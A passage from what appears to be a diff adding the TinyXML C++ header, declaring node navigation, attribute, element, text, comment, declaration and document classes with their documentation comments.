///< STL std::string form. + #endif + + /** An alternate way to walk the children of a node. + One way to iterate over nodes is: + @verbatim + for( child = parent->FirstChild(); child; child = child->NextSibling() ) + @endverbatim + + IterateChildren does the same thing with the syntax: + @verbatim + child = 0; + while( child = parent->IterateChildren( child ) ) + @endverbatim + + IterateChildren takes the previous child as input and finds + the next one. If the previous child is null, it returns the + first. IterateChildren will return null when done. + */ + const TiXmlNode* IterateChildren( const TiXmlNode* previous ) const; + TiXmlNode* IterateChildren( const TiXmlNode* previous ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( previous ) ); + } + + /// This flavor of IterateChildren searches for children with a particular 'value' + const TiXmlNode* IterateChildren( const char * value, const TiXmlNode* previous ) const; + TiXmlNode* IterateChildren( const char * _value, const TiXmlNode* previous ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->IterateChildren( _value, previous ) ); + } + + #ifdef TIXML_USE_STL + const TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) const { return IterateChildren (_value.c_str (), previous); } ///< STL std::string form. + TiXmlNode* IterateChildren( const std::string& _value, const TiXmlNode* previous ) { return IterateChildren (_value.c_str (), previous); } ///< STL std::string form. + #endif + + /** Add a new node related to this. Adds a child past the LastChild. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertEndChild( const TiXmlNode& addThis ); + + + /** Add a new node related to this. Adds a child past the LastChild. + + NOTE: the node to be added is passed by pointer, and will be + henceforth owned (and deleted) by tinyXml. This method is efficient + and avoids an extra copy, but should be used with care as it + uses a different memory model than the other insert functions. + + @sa InsertEndChild + */ + TiXmlNode* LinkEndChild( TiXmlNode* addThis ); + + /** Add a new node related to this. Adds a child before the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ); + + /** Add a new node related to this. Adds a child after the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ); + + /** Replace a child of this node. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNode* ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ); + + /// Delete a child of this node. + bool RemoveChild( TiXmlNode* removeThis ); + + /// Navigate to a sibling node. + const TiXmlNode* PreviousSibling() const { return prev; } + TiXmlNode* PreviousSibling() { return prev; } + + /// Navigate to a sibling node. + const TiXmlNode* PreviousSibling( const char * ) const; + TiXmlNode* PreviousSibling( const char *_prev ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->PreviousSibling( _prev ) ); + } + + #ifdef TIXML_USE_STL + const TiXmlNode* PreviousSibling( const std::string& _value ) const { return PreviousSibling (_value.c_str ()); } ///< STL std::string form. + TiXmlNode* PreviousSibling( const std::string& _value ) { return PreviousSibling (_value.c_str ()); } ///< STL std::string form. + const TiXmlNode* NextSibling( const std::string& _value) const { return NextSibling (_value.c_str ()); } ///< STL std::string form. + TiXmlNode* NextSibling( const std::string& _value) { return NextSibling (_value.c_str ()); } ///< STL std::string form. + #endif + + /// Navigate to a sibling node. + const TiXmlNode* NextSibling() const { return next; } + TiXmlNode* NextSibling() { return next; } + + /// Navigate to a sibling node with the given 'value'. + const TiXmlNode* NextSibling( const char * ) const; + TiXmlNode* NextSibling( const char* _next ) { + return const_cast< TiXmlNode* >( (const_cast< const TiXmlNode* >(this))->NextSibling( _next ) ); + } + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + const TiXmlElement* NextSiblingElement() const; + TiXmlElement* NextSiblingElement() { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement() ); + } + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + const TiXmlElement* NextSiblingElement( const char * ) const; + TiXmlElement* NextSiblingElement( const char *_next ) { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->NextSiblingElement( _next ) ); + } + + #ifdef TIXML_USE_STL + const TiXmlElement* NextSiblingElement( const std::string& _value) const { return NextSiblingElement (_value.c_str ()); } ///< STL std::string form. + TiXmlElement* NextSiblingElement( const std::string& _value) { return NextSiblingElement (_value.c_str ()); } ///< STL std::string form. + #endif + + /// Convenience function to get through elements. + const TiXmlElement* FirstChildElement() const; + TiXmlElement* FirstChildElement() { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement() ); + } + + /// Convenience function to get through elements. + const TiXmlElement* FirstChildElement( const char * _value ) const; + TiXmlElement* FirstChildElement( const char * _value ) { + return const_cast< TiXmlElement* >( (const_cast< const TiXmlNode* >(this))->FirstChildElement( _value ) ); + } + + #ifdef TIXML_USE_STL + const TiXmlElement* FirstChildElement( const std::string& _value ) const { return FirstChildElement (_value.c_str ()); } ///< STL std::string form. + TiXmlElement* FirstChildElement( const std::string& _value ) { return FirstChildElement (_value.c_str ()); } ///< STL std::string form. + #endif + + /** Query the type (as an enumerated value, above) of this node. + The possible types are: TINYXML_DOCUMENT, TINYXML_ELEMENT, TINYXML_COMMENT, + TINYXML_UNKNOWN, TINYXML_TEXT, and TINYXML_DECLARATION. + */ + int Type() const { return type; } + + /** Return a pointer to the Document this node lives in. + Returns null if not in a document. + */ + const TiXmlDocument* GetDocument() const; + TiXmlDocument* GetDocument() { + return const_cast< TiXmlDocument* >( (const_cast< const TiXmlNode* >(this))->GetDocument() ); + } + + /// Returns true if this node has no children. + bool NoChildren() const { return !firstChild; } + + virtual const TiXmlDocument* ToDocument() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlElement* ToElement() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlComment* ToComment() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlUnknown* ToUnknown() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlText* ToText() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlDeclaration* ToDeclaration() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + + virtual TiXmlDocument* ToDocument() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlElement* ToElement() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlComment* ToComment() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlUnknown* ToUnknown() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlText* ToText() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlDeclaration* ToDeclaration() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + + /** Create an exact duplicate of this node and return it. The memory must be deleted + by the caller. + */ + virtual TiXmlNode* Clone() const = 0; + + /** Accept a hierchical visit the nodes in the TinyXML DOM. Every node in the + XML tree will be conditionally visited and the host will be called back + via the TiXmlVisitor interface. + + This is essentially a SAX interface for TinyXML. (Note however it doesn't re-parse + the XML for the callbacks, so the performance of TinyXML is unchanged by using this + interface versus any other.) + + The interface has been based on ideas from: + + - http://www.saxproject.org/ + - http://c2.com/cgi/wiki?HierarchicalVisitorPattern + + Which are both good references for "visiting". + + An example of using Accept(): + @verbatim + TiXmlPrinter printer; + tinyxmlDoc.Accept( &printer ); + const char* xmlcstr = printer.CStr(); + @endverbatim + */ + virtual bool Accept( TiXmlVisitor* visitor ) const = 0; + +protected: + TiXmlNode( NodeType _type ); + + // Copy to the allocated object. Shared functionality between Clone, Copy constructor, + // and the assignment operator. + void CopyTo( TiXmlNode* target ) const; + + #ifdef TIXML_USE_STL + // The real work of the input operator. + virtual void StreamIn( std::istream* in, TIXML_STRING* tag ) = 0; + #endif + + // Figure out what is at *p, and parse it. Returns null if it is not an xml node. + TiXmlNode* Identify( const char* start, TiXmlEncoding encoding ); + + TiXmlNode* parent; + NodeType type; + + TiXmlNode* firstChild; + TiXmlNode* lastChild; + + TIXML_STRING value; + + TiXmlNode* prev; + TiXmlNode* next; + +private: + TiXmlNode( const TiXmlNode& ); // not implemented. + void operator=( const TiXmlNode& base ); // not allowed. +}; + + +/** An attribute is a name-value pair. Elements have an arbitrary + number of attributes, each with a unique name. + + @note The attributes are not TiXmlNodes, since they are not + part of the tinyXML document object model. There are other + suggested ways to look at this problem. +*/ +class TiXmlAttribute : public TiXmlBase +{ + friend class TiXmlAttributeSet; + +public: + /// Construct an empty attribute. + TiXmlAttribute() : TiXmlBase() + { + document = 0; + prev = next = 0; + } + + #ifdef TIXML_USE_STL + /// std::string constructor. + TiXmlAttribute( const std::string& _name, const std::string& _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + #endif + + /// Construct an attribute with a name and value. + TiXmlAttribute( const char * _name, const char * _value ) + { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } + + const char* Name() const { return name.c_str(); } ///< Return the name of this attribute. + const char* Value() const { return value.c_str(); } ///< Return the value of this attribute. + #ifdef TIXML_USE_STL + const std::string& ValueStr() const { return value; } ///< Return the value of this attribute. + #endif + int IntValue() const; ///< Return the value of this attribute, converted to an integer. + double DoubleValue() const; ///< Return the value of this attribute, converted to a double. + + // Get the tinyxml string representation + const TIXML_STRING& NameTStr() const { return name; } + + /** QueryIntValue examines the value string. It is an alternative to the + IntValue() method with richer error checking. + If the value is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. + + A specialized but useful call. Note that for success it returns 0, + which is the opposite of almost all other TinyXml calls. + */ + int QueryIntValue( int* _value ) const; + /// QueryDoubleValue examines the value string. See QueryIntValue(). + int QueryDoubleValue( double* _value ) const; + + void SetName( const char* _name ) { name = _name; } ///< Set the name of this attribute. + void SetValue( const char* _value ) { value = _value; } ///< Set the value. + + void SetIntValue( int _value ); ///< Set the value from an integer. + void SetDoubleValue( double _value ); ///< Set the value from a double. + + #ifdef TIXML_USE_STL + /// STL std::string form. + void SetName( const std::string& _name ) { name = _name; } + /// STL std::string form. + void SetValue( const std::string& _value ) { value = _value; } + #endif + + /// Get the next sibling attribute in the DOM. Returns null at end. + const TiXmlAttribute* Next() const; + TiXmlAttribute* Next() { + return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Next() ); + } + + /// Get the previous sibling attribute in the DOM. Returns null at beginning. + const TiXmlAttribute* Previous() const; + TiXmlAttribute* Previous() { + return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Previous() ); + } + + bool operator==( const TiXmlAttribute& rhs ) const { return rhs.name == name; } + bool operator<( const TiXmlAttribute& rhs ) const { return name < rhs.name; } + bool operator>( const TiXmlAttribute& rhs ) const { return name > rhs.name; } + + /* Attribute parsing starts: first letter of the name + returns: the next char after the value end quote + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + // Prints this Attribute to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const { + Print( cfile, depth, 0 ); + } + void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; + + // [internal use] + // Set the document pointer so the attribute can report errors. + void SetDocument( TiXmlDocument* doc ) { document = doc; } + +private: + TiXmlAttribute( const TiXmlAttribute& ); // not implemented. + void operator=( const TiXmlAttribute& base ); // not allowed. + + TiXmlDocument* document; // A pointer back to a document, for error reporting. + TIXML_STRING name; + TIXML_STRING value; + TiXmlAttribute* prev; + TiXmlAttribute* next; +}; + + +/* A class used to manage a group of attributes. + It is only used internally, both by the ELEMENT and the DECLARATION. + + The set can be changed transparent to the Element and Declaration + classes that use it, but NOT transparent to the Attribute + which has to implement a next() and previous() method. Which makes + it a bit problematic and prevents the use of STL. + + This version is implemented with circular lists because: + - I like circular lists + - it demonstrates some independence from the (typical) doubly linked list. +*/ +class TiXmlAttributeSet +{ +public: + TiXmlAttributeSet(); + ~TiXmlAttributeSet(); + + void Add( TiXmlAttribute* attribute ); + void Remove( TiXmlAttribute* attribute ); + + const TiXmlAttribute* First() const { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } + TiXmlAttribute* First() { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } + const TiXmlAttribute* Last() const { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } + TiXmlAttribute* Last() { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } + + TiXmlAttribute* Find( const char* _name ) const; + TiXmlAttribute* FindOrCreate( const char* _name ); + +# ifdef TIXML_USE_STL + TiXmlAttribute* Find( const std::string& _name ) const; + TiXmlAttribute* FindOrCreate( const std::string& _name ); +# endif + + +private: + //*ME: Because of hidden/disabled copy-construktor in TiXmlAttribute (sentinel-element), + //*ME: this class must be also use a hidden/disabled copy-constructor !!! + TiXmlAttributeSet( const TiXmlAttributeSet& ); // not allowed + void operator=( const TiXmlAttributeSet& ); // not allowed (as TiXmlAttribute) + + TiXmlAttribute sentinel; +}; + + +/** The element is a container class. It has a value, the element name, + and can contain other elements, text, comments, and unknowns. + Elements also contain an arbitrary number of attributes. +*/ +class TiXmlElement : public TiXmlNode +{ +public: + /// Construct an element. + TiXmlElement (const char * in_value); + + #ifdef TIXML_USE_STL + /// std::string constructor. + TiXmlElement( const std::string& _value ); + #endif + + TiXmlElement( const TiXmlElement& ); + + TiXmlElement& operator=( const TiXmlElement& base ); + + virtual ~TiXmlElement(); + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + */ + const char* Attribute( const char* name ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an integer, + the integer value will be put in the return 'i', if 'i' + is non-null. + */ + const char* Attribute( const char* name, int* i ) const; + + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an double, + the double value will be put in the return 'd', if 'd' + is non-null. + */ + const char* Attribute( const char* name, double* d ) const; + + /** QueryIntAttribute examines the attribute - it is an alternative to the + Attribute() method with richer error checking. + If the attribute is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. If the attribute + does not exist, then TIXML_NO_ATTRIBUTE is returned. + */ + int QueryIntAttribute( const char* name, int* _value ) const; + /// QueryUnsignedAttribute examines the attribute - see QueryIntAttribute(). + int QueryUnsignedAttribute( const char* name, unsigned* _value ) const; + /** QueryBoolAttribute examines the attribute - see QueryIntAttribute(). + Note that '1', 'true', or 'yes' are considered true, while '0', 'false' + and 'no' are considered false. + */ + int QueryBoolAttribute( const char* name, bool* _value ) const; + /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). + int QueryDoubleAttribute( const char* name, double* _value ) const; + /// QueryFloatAttribute examines the attribute - see QueryIntAttribute(). + int QueryFloatAttribute( const char* name, float* _value ) const { + double d; + int result = QueryDoubleAttribute( name, &d ); + if ( result == TIXML_SUCCESS ) { + *_value = (float)d; + } + return result; + } + + #ifdef TIXML_USE_STL + /// QueryStringAttribute examines the attribute - see QueryIntAttribute(). + int QueryStringAttribute( const char* name, std::string* _value ) const { + const char* cstr = Attribute( name ); + if ( cstr ) { + *_value = std::string( cstr ); + return TIXML_SUCCESS; + } + return TIXML_NO_ATTRIBUTE; + } + + /** Template form of the attribute query which will try to read the + attribute into the specified type. Very easy, very powerful, but + be careful to make sure to call this with the correct type. + + NOTE: This method doesn't work correctly for 'string' types that contain spaces. + + @return TIXML_SUCCESS, TIXML_WRONG_TYPE, or TIXML_NO_ATTRIBUTE + */ + template< typename T > int QueryValueAttribute( const std::string& name, T* outValue ) const + { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + + std::stringstream sstream( node->ValueStr() ); + sstream >> *outValue; + if ( !sstream.fail() ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; + } + + int QueryValueAttribute( const std::string& name, std::string* outValue ) const + { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + *outValue = node->ValueStr(); + return TIXML_SUCCESS; + } + #endif + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char* name, const char * _value ); + + #ifdef TIXML_USE_STL + const std::string* Attribute( const std::string& name ) const; + const std::string* Attribute( const std::string& name, int* i ) const; + const std::string* Attribute( const std::string& name, double* d ) const; + int QueryIntAttribute( const std::string& name, int* _value ) const; + int QueryDoubleAttribute( const std::string& name, double* _value ) const; + + /// STL std::string form. + void SetAttribute( const std::string& name, const std::string& _value ); + ///< STL std::string form. + void SetAttribute( const std::string& name, int _value ); + ///< STL std::string form. + void SetDoubleAttribute( const std::string& name, double value ); + #endif + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char * name, int value ); + + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetDoubleAttribute( const char * name, double value ); + + /** Deletes an attribute with the given name. + */ + void RemoveAttribute( const char * name ); + #ifdef TIXML_USE_STL + void RemoveAttribute( const std::string& name ) { RemoveAttribute (name.c_str ()); } ///< STL std::string form. + #endif + + const TiXmlAttribute* FirstAttribute() const { return attributeSet.First(); } ///< Access the first attribute in this element. + TiXmlAttribute* FirstAttribute() { return attributeSet.First(); } + const TiXmlAttribute* LastAttribute() const { return attributeSet.Last(); } ///< Access the last attribute in this element. + TiXmlAttribute* LastAttribute() { return attributeSet.Last(); } + + /** Convenience function for easy access to the text inside an element. Although easy + and concise, GetText() is limited compared to getting the TiXmlText child + and accessing it directly. + + If the first child of 'this' is a TiXmlText, the GetText() + returns the character string of the Text node, else null is returned. + + This is a convenient method for getting the text of simple contained text: + @verbatim + This is text + const char* str = fooElement->GetText(); + @endverbatim + + 'str' will be a pointer to "This is text". + + Note that this function can be misleading. If the element foo was created from + this XML: + @verbatim + This is text + @endverbatim + + then the value of str would be null. The first child node isn't a text node, it is + another element. From this XML: + @verbatim + This is text + @endverbatim + GetText() will return "This is ". + + WARNING: GetText() accesses a child node - don't become confused with the + similarly named TiXmlHandle::Text() and TiXmlNode::ToText() which are + safe type casts on the referenced node. + */ + const char* GetText() const; + + /// Creates a new Element and returns it - the returned element is a copy. + virtual TiXmlNode* Clone() const; + // Print the Element to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; + + /* Attribtue parsing starts: next char past '<' + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + virtual const TiXmlElement* ToElement() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlElement* ToElement() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; + +protected: + + void CopyTo( TiXmlElement* target ) const; + void ClearThis(); // like clear, but initializes 'this' object as well + + // Used to be public [internal use] + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif + /* [internal use] + Reads the "value" of the element -- another element, or text. + This should terminate with the current end tag. + */ + const char* ReadValue( const char* in, TiXmlParsingData* prevData, TiXmlEncoding encoding ); + +private: + TiXmlAttributeSet attributeSet; +}; + + +/** An XML comment. +*/ +class TiXmlComment : public TiXmlNode +{ +public: + /// Constructs an empty comment. + TiXmlComment() : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) {} + /// Construct a comment from text. + TiXmlComment( const char* _value ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) { + SetValue( _value ); + } + TiXmlComment( const TiXmlComment& ); + TiXmlComment& operator=( const TiXmlComment& base ); + + virtual ~TiXmlComment() {} + + /// Returns a copy of this Comment. + virtual TiXmlNode* Clone() const; + // Write this Comment to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; + + /* Attribtue parsing starts: at the ! of the !-- + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + virtual const TiXmlComment* ToComment() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlComment* ToComment() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; + +protected: + void CopyTo( TiXmlComment* target ) const; + + // used to be public + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif +// virtual void StreamOut( TIXML_OSTREAM * out ) const; + +private: + +}; + + +/** XML text. A text node can have 2 ways to output the next. "normal" output + and CDATA. It will default to the mode it was parsed from the XML file and + you generally want to leave it alone, but you can change the output mode with + SetCDATA() and query it with CDATA(). +*/ +class TiXmlText : public TiXmlNode +{ + friend class TiXmlElement; +public: + /** Constructor for text element. By default, it is treated as + normal, encoded text. If you want it be output as a CDATA text + element, set the parameter _cdata to 'true' + */ + TiXmlText (const char * initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) + { + SetValue( initValue ); + cdata = false; + } + virtual ~TiXmlText() {} + + #ifdef TIXML_USE_STL + /// Constructor. + TiXmlText( const std::string& initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) + { + SetValue( initValue ); + cdata = false; + } + #endif + + TiXmlText( const TiXmlText& copy ) : TiXmlNode( TiXmlNode::TINYXML_TEXT ) { copy.CopyTo( this ); } + TiXmlText& operator=( const TiXmlText& base ) { base.CopyTo( this ); return *this; } + + // Write this text object to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; + + /// Queries whether this represents text using a CDATA section. + bool CDATA() const { return cdata; } + /// Turns on or off a CDATA representation of text. + void SetCDATA( bool _cdata ) { cdata = _cdata; } + + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + virtual const TiXmlText* ToText() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlText* ToText() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; + +protected : + /// [internal use] Creates a new Element and returns it. + virtual TiXmlNode* Clone() const; + void CopyTo( TiXmlText* target ) const; + + bool Blank() const; // returns true if all white space and new lines + // [internal use] + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif + +private: + bool cdata; // true if this should be input and output as a CDATA style text element +}; + + +/** In correct XML the declaration is the first entry in the file. + @verbatim + + @endverbatim + + TinyXml will happily read or write files without a declaration, + however. There are 3 possible attributes to the declaration: + version, encoding, and standalone. + + Note: In this version of the code, the attributes are + handled as special cases, not generic attributes, simply + because there can only be at most 3 and they are always the same. +*/ +class TiXmlDeclaration : public TiXmlNode +{ +public: + /// Construct an empty declaration. + TiXmlDeclaration() : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) {} + +#ifdef TIXML_USE_STL + /// Constructor. + TiXmlDeclaration( const std::string& _version, + const std::string& _encoding, + const std::string& _standalone ); +#endif + + /// Construct. + TiXmlDeclaration( const char* _version, + const char* _encoding, + const char* _standalone ); + + TiXmlDeclaration( const TiXmlDeclaration& copy ); + TiXmlDeclaration& operator=( const TiXmlDeclaration& copy ); + + virtual ~TiXmlDeclaration() {} + + /// Version. Will return an empty string if none was found. + const char *Version() const { return version.c_str (); } + /// Encoding. Will return an empty string if none was found. + const char *Encoding() const { return encoding.c_str (); } + /// Is this a standalone document? + const char *Standalone() const { return standalone.c_str (); } + + /// Creates a copy of this Declaration and returns it. + virtual TiXmlNode* Clone() const; + // Print this declaration to a FILE stream. + virtual void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; + virtual void Print( FILE* cfile, int depth ) const { + Print( cfile, depth, 0 ); + } + + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + virtual const TiXmlDeclaration* ToDeclaration() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlDeclaration* ToDeclaration() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; + +protected: + void CopyTo( TiXmlDeclaration* target ) const; + // used to be public + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif + +private: + + TIXML_STRING version; + TIXML_STRING encoding; + TIXML_STRING standalone; +}; + + +/** Any tag that tinyXml doesn't recognize is saved as an + unknown. It is a tag of text, but should not be modified. + It will be written back to the XML, unchanged, when the file + is saved. + + DTD tags get thrown into TiXmlUnknowns. +*/ +class TiXmlUnknown : public TiXmlNode +{ +public: + TiXmlUnknown() : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) {} + virtual ~TiXmlUnknown() {} + + TiXmlUnknown( const TiXmlUnknown& copy ) : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) { copy.CopyTo( this ); } + TiXmlUnknown& operator=( const TiXmlUnknown& copy ) { copy.CopyTo( this ); return *this; } + + /// Creates a copy of this Unknown and returns it. + virtual TiXmlNode* Clone() const; + // Print this Unknown to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; + + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + + virtual const TiXmlUnknown* ToUnknown() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlUnknown* ToUnknown() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; + +protected: + void CopyTo( TiXmlUnknown* target ) const; + + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif + +private: + +}; + + +/** Always the top level node. A document binds together all the + XML pieces. It can be saved, loaded, and printed to the screen. + The 'value' of a document node is the xml file name. +*/ +class TiXmlDocument : public TiXmlNode +{ +public: + /// Create an empty document, that has no name. + TiXmlDocument(); + /// Create a document with a name. The name of the document is also the filename of the xml. + TiXmlDocument( const char * documentName ); + + #ifdef TIXML_USE_STL + /// Constructor. + TiXmlDocument( const std::string& documentName ); + #endif + + TiXmlDocument( const TiXmlDocument& copy ); + TiXmlDocument& operator=( const TiXmlDocument& copy ); + + virtual ~TiXmlDocument() {} + + /** Load a file using the current document value. + Returns true if successful. Will delete any existing + document data before loading. + */ + bool LoadFile( TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the current document value. Returns true if successful. + bool SaveFile() const; + /// Load a file using the given filename. Returns true if successful. + bool LoadFile( const char * filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the given filename. Returns true if successful. + bool SaveFile( const char * filename ) const; + /** Load a file using the given FILE*. Returns true if successful. Note that this method + doesn't stream - the entire object pointed at by the FILE* + will be interpreted as an XML file. TinyXML doesn't stream in XML from the current + file location. Streaming may be added in the future. + */ + bool LoadFile( FILE*, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the given FILE*. Returns true if successful. + bool SaveFile( FILE* ) const; + + #ifdef TIXML_USE_STL + bool LoadFile( const std::string& filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ) ///< STL std::string version. + { + return LoadFile( filename.c_str(), encoding ); + } + bool SaveFile( const std::string& filename ) const ///< STL std::string version. + { + return SaveFile( filename.c_str() ); + } + #endif + + /** Parse the given null terminated block of xml data. Passing in an encoding to this + method (either TIXML_ENCODING_LEGACY or TIXML_ENCODING_UTF8 will force TinyXml + to use that encoding, regardless of what TinyXml might otherwise try to detect. + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data = 0, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + + /** Get the root element -- the only top level element -- of the document. + In well formed XML, there should only be one. TinyXml is tolerant of + multiple elements at the document level. + */ + const TiXmlElement* RootElement() const { return FirstChildElement(); } + TiXmlElement* RootElement() { return FirstChildElement(); } + + /** If an error occurs, Error will be set to true. Also, + - The ErrorId() will contain the integer identifier of the error (not generally useful) + - The ErrorDesc() method will return the name of the error. (very useful) + - The ErrorRow() and ErrorCol() will return the location of the error (if known) + */ + bool Error() const { return error; } + + /// Contains a textual (english) description of the error if one occurs. + const char * ErrorDesc() const { return errorDesc.c_str (); } + + /** Generally, you probably want the error string ( ErrorDesc() ). But if you + prefer the ErrorId, this function will fetch it. + */ + int ErrorId() const { return errorId; } + + /** Returns the location (if known) of the error. The first column is column 1, + and the first row is row 1. A value of 0 means the row and column wasn't applicable + (memory errors, for example, have no row/column) or the parser lost the error. (An + error in the error reporting, in that case.) + + @sa SetTabSize, Row, Column + */ + int ErrorRow() const { return errorLocation.row+1; } + int ErrorCol() const { return errorLocation.col+1; } ///< The column where the error occured. See ErrorRow() + + /** SetTabSize() allows the error reporting functions (ErrorRow() and ErrorCol()) + to report the correct values for row and column. It does not change the output + or input in any way. + + By calling this method, with a tab size + greater than 0, the row and column of each node and attribute is stored + when the file is loaded. Very useful for tracking the DOM back in to + the source file. + + The tab size is required for calculating the location of nodes. If not + set, the default of 4 is used. The tabsize is set per document. Setting + the tabsize to 0 disables row/column tracking. + + Note that row and column tracking is not supported when using operator>>. + + The tab size needs to be enabled before the parse or load. Correct usage: + @verbatim + TiXmlDocument doc; + doc.SetTabSize( 8 ); + doc.Load( "myfile.xml" ); + @endverbatim + + @sa Row, Column + */ + void SetTabSize( int _tabsize ) { tabsize = _tabsize; } + + int TabSize() const { return tabsize; } + + /** If you have handled the error, it can be reset with this call. 